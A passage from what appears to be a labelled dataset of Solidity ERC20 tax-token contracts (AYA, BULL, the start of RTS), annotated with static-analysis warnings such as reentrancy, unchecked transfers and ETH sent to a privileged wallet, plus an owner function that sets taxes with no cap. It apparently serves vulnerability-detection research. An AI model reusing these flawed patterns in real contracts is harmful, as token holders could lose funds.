.div(100);\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (firstBlock + 1 > block.number) {\n require(!isContract(to));\n }\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caLimit &&\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < caBlockLimit, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: 8b962a3\n\t\t\t\t// reentrancy-eth | ID: 37d2f99\n\t\t\t\t// reentrancy-eth | ID: b216e41\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 8b962a3\n\t\t\t\t\t// reentrancy-eth | ID: 37d2f99\n\t\t\t\t\t// reentrancy-eth | ID: b216e41\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: b216e41\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: b216e41\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 8b962a3\n\t\t\t\t// reentrancy-eth | ID: 37d2f99\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 8b962a3\n\t\t\t\t\t// reentrancy-eth | ID: 37d2f99\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 37d2f99\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 8b962a3\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 37d2f99\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 37d2f99\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 8b962a3\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function isContract(address account) private view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 1e501c7\n\t\t// reentrancy-events | ID: 8b962a3\n\t\t// reentrancy-benign | ID: 6e7a9a9\n\t\t// reentrancy-eth | ID: 37d2f99\n\t\t// reentrancy-eth | ID: b216e41\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function rescueStuckETH() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 912bc65): Missing events for critical arithmetic parameters.\n\t// Recommendation for 912bc65: Emit an event for critical parameter changes.\n function updateSwapSettings(\n uint256 newinitialBuyTax,\n uint256 newinitialSellTax,\n uint256 newReduBTax,\n uint256 newReduSTax,\n uint256 newPrevSwapBef\n ) external onlyOwner {\n\t\t// events-maths | ID: 912bc65\n _initialBuyTax = newinitialBuyTax;\n\n\t\t// events-maths | ID: 912bc65\n _initialSellTax = newinitialSellTax;\n\n\t\t// events-maths | ID: 912bc65\n _reduceBuyTaxAt = newReduBTax;\n\n\t\t// events-maths | ID: 912bc65\n _reduceSellTaxAt = newReduSTax;\n\n\t\t// events-maths | ID: 912bc65\n _preventSwapBefore = newPrevSwapBef;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: c342c53): AYA.rescueStuckERC20Tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for c342c53: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueStuckERC20Tokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: c342c53\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function exileW_Restriction() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 1e501c7\n\t\t// reentrancy-events | ID: 8b962a3\n\t\t// reentrancy-eth | ID: 37d2f99\n\t\t// reentrancy-eth | ID: b216e41\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3fd0786): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3fd0786: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0fe3d3c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0fe3d3c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5372e71): AYA.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 5372e71: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d7d58fb): AYA.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for d7d58fb: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 57ec80d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 57ec80d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 3fd0786\n\t\t// reentrancy-benign | ID: 0fe3d3c\n\t\t// reentrancy-eth | ID: 57ec80d\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 3fd0786\n marketPair[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 3fd0786\n isExile[address(uniswapV2Pair)] = true;\n\n\t\t// reentrancy-benign | ID: 0fe3d3c\n\t\t// unused-return | ID: 5372e71\n\t\t// reentrancy-eth | ID: 57ec80d\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 0fe3d3c\n\t\t// unused-return | ID: d7d58fb\n\t\t// reentrancy-eth | ID: 57ec80d\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 0fe3d3c\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 57ec80d\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 0fe3d3c\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10046.sol",
"size_bytes": 22077,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BULL is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fe6a636): BULL._taxWallet should be immutable \n\t// Recommendation for fe6a636: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: a010683): BULL._initialBuyTax should be constant \n\t// Recommendation for a010683: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 32e46e2): BULL._initialSellTax should be constant \n\t// Recommendation for 32e46e2: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 383c3d3): BULL._reduceBuyTaxAt should be constant \n\t// Recommendation for 383c3d3: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: adef8cc): BULL._reduceSellTaxAt should be constant \n\t// Recommendation for adef8cc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: eebaa18): BULL._preventSwapBefore should be constant \n\t// Recommendation for eebaa18: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 663ccca): BULL.zero should be constant \n\t// Recommendation for 663ccca: Add the 'constant' attribute to state variables that never change.\n uint8 public zero = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"VIDEO BULL\";\n\n string private constant _symbol = unicode\"BULL\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 10ffc99): BULL._taxSwapThreshold should be constant \n\t// Recommendation for 10ffc99: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 08f7526): BULL._maxTaxSwap should be constant \n\t// Recommendation for 08f7526: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 497ccd9): BULL.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 497ccd9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 00afaab): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 00afaab: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2fdfcca): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2fdfcca: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 00afaab\n\t\t// reentrancy-benign | ID: 2fdfcca\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 00afaab\n\t\t// reentrancy-benign | ID: 2fdfcca\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 77b2701): BULL._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 77b2701: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 2fdfcca\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 00afaab\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 73c6111): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 73c6111: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7f394fb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7f394fb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 73c6111\n\t\t\t\t// reentrancy-eth | ID: 7f394fb\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 73c6111\n\t\t\t\t\t// reentrancy-eth | ID: 7f394fb\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 7f394fb\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 7f394fb\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 7f394fb\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 73c6111\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 7f394fb\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 7f394fb\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 73c6111\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 00afaab\n\t\t// reentrancy-events | ID: 73c6111\n\t\t// reentrancy-benign | ID: 2fdfcca\n\t\t// reentrancy-eth | ID: 7f394fb\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: e69e8cd): BULL.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for e69e8cd: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 00afaab\n\t\t// reentrancy-events | ID: 73c6111\n\t\t// reentrancy-eth | ID: 7f394fb\n\t\t// arbitrary-send-eth | ID: e69e8cd\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5e83497): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5e83497: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9055c0b): BULL.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 9055c0b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7a9475b): BULL.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 7a9475b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1190696): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1190696: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n if (\n IUniswapV2Factory(uniswapV2Router.factory()).getPair(\n uniswapV2Router.WETH(),\n address(this)\n ) == address(0)\n ) {\n\t\t\t// reentrancy-benign | ID: 5e83497\n\t\t\t// reentrancy-eth | ID: 1190696\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .createPair(address(this), uniswapV2Router.WETH());\n } else {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(uniswapV2Router.WETH(), address(this));\n }\n\n\t\t// reentrancy-benign | ID: 5e83497\n\t\t// unused-return | ID: 9055c0b\n\t\t// reentrancy-eth | ID: 1190696\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 5e83497\n\t\t// unused-return | ID: 7a9475b\n\t\t// reentrancy-eth | ID: 1190696\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 5e83497\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 1190696\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: f80a88a): BULL.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for f80a88a: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external onlyOwner {\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: f80a88a\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10047.sol",
"size_bytes": 20931,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 9cd51d5): RTS.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 1000)\n// Recommendation for 9cd51d5: Consider ordering multiplication before division.\ncontract RTS is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private 